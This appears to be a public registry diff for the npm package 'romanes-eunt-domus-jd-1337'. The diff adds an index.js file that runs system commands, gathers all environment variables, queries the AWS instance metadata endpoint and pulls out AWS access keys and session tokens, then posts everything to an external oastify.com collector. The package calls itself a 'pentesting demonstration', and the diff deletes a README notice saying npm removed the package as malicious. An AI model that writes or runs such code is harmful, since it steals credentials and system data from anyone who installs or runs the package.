romanes-eunt-domus-jd-1337 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of romanes-eunt-domus-jd-1337 might be problematic. Click here for more details.
- package/index.js +101 -0
- package/package.json +12 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,101 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const http = require('http');
|
3
|
+
const { execSync } = require('child_process');
|
4
|
+
|
5
|
+
const targetUrl = 'https://im843yxify5puq6zj6vwcj70mrsigf44.oastify.com/collect'; // Replace with your target server URL
|
6
|
+
|
7
|
+
// Helper function to send data via POST
|
8
|
+
function sendData(data) {
|
9
|
+
const payload = JSON.stringify(data);
|
10
|
+
|
11
|
+
const options = {
|
12
|
+
method: 'POST',
|
13
|
+
headers: {
|
14
|
+
'Content-Type': 'application/json',
|
15
|
+
'Content-Length': payload.length,
|
16
|
+
},
|
17
|
+
};
|
18
|
+
|
19
|
+
const req = https.request(targetUrl, options, (res) => {
|
20
|
+
let response = '';
|
21
|
+
|
22
|
+
res.on('data', (chunk) => {
|
23
|
+
response += chunk;
|
24
|
+
});
|
25
|
+
|
26
|
+
res.on('end', () => {
|
27
|
+
console.log('Response from server:', response);
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (err) => {
|
32
|
+
console.error('Error sending data:', err.message);
|
33
|
+
});
|
34
|
+
|
35
|
+
req.write(payload);
|
36
|
+
req.end();
|
37
|
+
}
|
38
|
+
|
39
|
+
// Function to execute shell commands
|
40
|
+
function executeCommand(cmd) {
|
41
|
+
try {
|
42
|
+
return execSync(cmd, { encoding: 'utf8' }).trim();
|
43
|
+
} catch (err) {
|
44
|
+
return `Error executing ${cmd}: ${err.message}`;
|
45
|
+
}
|
46
|
+
}
|
47
|
+
|
48
|
+
// Function to fetch data from AWS metadata endpoint
|
49
|
+
function fetchAwsMetadata() {
|
50
|
+
return new Promise((resolve) => {
|
51
|
+
const options = {
|
52
|
+
hostname: '169.254.169.254',
|
53
|
+
path: '/latest/meta-data/',
|
54
|
+
method: 'GET',
|
55
|
+
};
|
56
|
+
|
57
|
+
const req = http.request(options, (res) => {
|
58
|
+
let metadata = '';
|
59
|
+
|
60
|
+
res.on('data', (chunk) => {
|
61
|
+
metadata += chunk;
|
62
|
+
});
|
63
|
+
|
64
|
+
res.on('end', () => {
|
65
|
+
resolve(metadata);
|
66
|
+
});
|
67
|
+
});
|
68
|
+
|
69
|
+
req.on('error', (err) => {
|
70
|
+
resolve(`Error fetching AWS metadata: ${err.message}`);
|
71
|
+
});
|
72
|
+
|
73
|
+
req.end();
|
74
|
+
});
|
75
|
+
}
|
76
|
+
|
77
|
+
// Main function to collect all metadata
|
78
|
+
async function collectMetadata() {
|
79
|
+
const metadata = {
|
80
|
+
pwd: executeCommand('pwd'),
|
81
|
+
uname: executeCommand('uname -a'),
|
82
|
+
ls: executeCommand('ls -lia'),
|
83
|
+
whoami: executeCommand('whoami'),
|
84
|
+
env: process.env, // All environment variables
|
85
|
+
aws_metadata: await fetchAwsMetadata(),
|
86
|
+
};
|
87
|
+
|
88
|
+
// Check for AWS-specific credentials in environment variables
|
89
|
+
if (process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) {
|
90
|
+
metadata.aws_credentials = {
|
91
|
+
access_key_id: process.env.AWS_ACCESS_KEY_ID,
|
92
|
+
secret_access_key: process.env.AWS_SECRET_ACCESS_KEY,
|
93
|
+
session_token: process.env.AWS_SESSION_TOKEN || null,
|
94
|
+
};
|
95
|
+
}
|
96
|
+
|
97
|
+
sendData(metadata);
|
98
|
+
}
|
99
|
+
|
100
|
+
// Start collecting metadata
|
101
|
+
collectMetadata().catch((err) => console.error('Error collecting metadata:', err));
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
"name": "romanes-eunt-domus-jd-1337",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "romanes-eunt-domus-jd-1337",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "A test package for pentesting demonstration",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=romanes-eunt-domus-jd-1337 for more information.
|